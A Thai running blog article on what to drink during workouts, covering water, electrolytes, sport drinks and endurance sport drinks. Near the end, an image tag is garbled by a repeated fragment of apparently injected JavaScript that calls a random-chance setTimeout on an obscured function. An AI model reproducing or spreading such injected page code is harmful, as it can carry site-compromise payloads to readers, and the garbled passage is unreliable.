• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

ดื่มอะไรดี : what to drink during workout

Kanthad Yangsattha by Kanthad Yangsattha
30 January 2015
in Healthy Tips, Running Tips, Tips & Technics
0
ดื่มอะไรดี : what to drink during workout
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ดื่มอะไรดี : what to drink during workout

ระหว่างวิ่งเคยคิดมั้ยว่าจะดื่มอะไรที่สามารถชดเชยเหงื่อและเกลือแร่ที่สูญเสียไป น้ำเปล่า สปอนเซอร์ หรือเกเตอเรดดี

น้ำเปล่า (water)

น้ำเปล่าคือตัวเลือกที่ดีที่สุดสำหรับการเติมน้ำที่สูญเสียไป ถ้าเราวิ่งประมาณชั่วโมงหนึ่งหรือนานกว่า แนะนำว่าควรดื่มน้ำเปล่าประมาณ 4 ออนซ์ (114 กรัม) ทุกๆ 15-20 นาที แต่ถิ่งระยะสั้นๆ อาจจะไม่ต้องดื่มหรือดื่มน้อยกว่าที่แนะนำก็ได้ จุดสังเกตอีกอย่างที่บอกเราว่าเมื่อควรจะเดิมน้ำ คืออาการหิวน้ำ

คำแนะนำ สำหรับการวิ่งระยะสั้น น้ำเปล่าอย่างเดียวก็พอ และควรเติมน้ำระหว่างนาทีที่ 30-45 แต่ถ้าวิ่งระยะไกลควรมีการผสมพวก คาร์โบ เพื่อป้อนพลังงานให้ร่างกาย

8851959643716L

อิเล็กโตรไลท์ (electrolyte)

สารอิเล็กโตรไลท์จะประกอบไปด้วย โซเดียม โปแตสเซียม แมกนีเซียมและแคลเซียม จะมาในรูปผงผสมกับน้ำ มีการแต่งรสและใช้สารทดแทนความหวาน (sweetener) ทำให้ดื่มได้ง่ายขึ้น แถมเป็นเครื่องดื่มประเภท free-calorie อย่างไรก็ตามยังไม่มีข้อพิสูจน์ทางวิทยาศาสตร์ว่าสารพวกอิเล็กโตรไลท์สามารถป้องกันการเป็นตะคริวได้ แต่สามารถรักษาสมดุลน้ำและของเหลวในร่างกายได้ ดูดซึมได้เร็วด้วย

ถ้าเราเป็นนักวิ่งที่เหงื่อออกเยอะ แนะนำลงดื่มเครื่องดื่มที่มีอิเล็กโตรไลท์ หรือผสมผงอิเล็กโตรไลท์เข้ากับน้ำดื่มจะช่วยวิ่งได้นานขึ้น

sis-go-electrolyte-hydration-sports-fuel-drink-single-serving-sachet

เครื่องดื่มสปอร์ต (Sport drink)

เครื่องดื่มสปอร์ตถือว่าเป็นพระเอกทุกงาน จะให้แคลอรี่ต่ำประมาณ 50 แคลอรี่ต่อ 8 ออนซ์ (250 มิลลิลิตร)หรือ 14 กรัมของคาร์โบไฮเตรด พร้อมกับให้โซเดียมและโปรแตสเซียมประมาณ 100 มิลิกรัม ช่วยเพิ่มพลังและเติมน้ำกลับเข้าร่างกาย

ACSM (American College of Sports Medicine) แนะนำว่าควรบริโภค คาร์โบ 30-60 กรัมต่อการออกกำลังกาย 1 ชั่วโมง เทียบได้กับ การดื่มเครื่องดื่มสปอร์ต 16-32 ออนซ์ (453-907 กรัม) ถ้าเป็นคนออกกำลังกายที่เหงื่อออกไม่เยอะก็คงไม่จำเป็น

การดื่มเครื่องดื่มสปอร์ตสามารถเติ่มพลังได้เร็ว แนะนำว่าเหมาะสำหรับนที่ออกกำลังกายที่ต้องแข่งกับเวลา (speed workout) หรือออกกำลัง 1 ชั่วโมงขึ้นไป เมื่อถึงจุดหนึ่งรางกายต้องการคาร์โบ เพื่อเติมพลังงานให้กล้ามเนื้อ สปอร์ตดริงซ์จึงเป็นตัวเลือกที่ดี

gatorade

เครื่องดื่มประเภท Endurance sport drink

เครื่องดื่มประเภทนี้จะมี อิเล็กโตรไลท์มากกว่า 50% และให้คาร์โบมากกว่า 25% เมื่อเทียบกับเครื่อง Sport drink ทั่วไป เครื่องดื่มนี้จะให้สาารที่ชื่อว่า MTCs ( multiple transportable carbohydrates) พูดได้ง่ายๆ ว่า Endurance sport drink จะมีคาร์โบ มากกว่า 1 แบบ อย่างเช่น กลูโคสและฟรุตโตส ส่งพลังงานชิ้นใหญ่ให้กล้ามเนื้อได้มากขึ้นทำให้ออกกำลังกายได้นานขึ้น

เหมาะสำหรับการออกกำลังกายเเบบ Endurance หรือวิ่งระยะไกล อย่างมาราธอน หรือต้องออกกำลังกายมากกว่า 2 ขึ้นไป หรือการฝึกเเบบ Internsive

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded.jpg”>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded-400×300.jpg” alt=”sis-rebrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded” width=”400″ height=”300″ />

 

ที่มา Runnerworld

Tags: CyclingdrinkhealthyRunningwhat to drink during workoutworkout
ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง
Running Tips

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง

24 June 2019
Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน
Running Tips

Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน

21 January 2019
เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว
Running Tips

เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว

15 January 2019
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.